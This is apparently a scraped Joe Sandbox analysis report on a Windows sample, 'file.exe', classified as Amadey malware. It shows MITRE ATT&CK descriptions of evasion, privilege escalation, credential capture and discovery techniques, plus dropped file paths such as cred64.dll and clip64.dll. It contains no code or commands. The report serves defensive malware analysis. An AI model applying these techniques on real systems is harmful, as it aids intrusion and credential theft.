Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\amMl.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Windows Analysis Report
file.exe

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre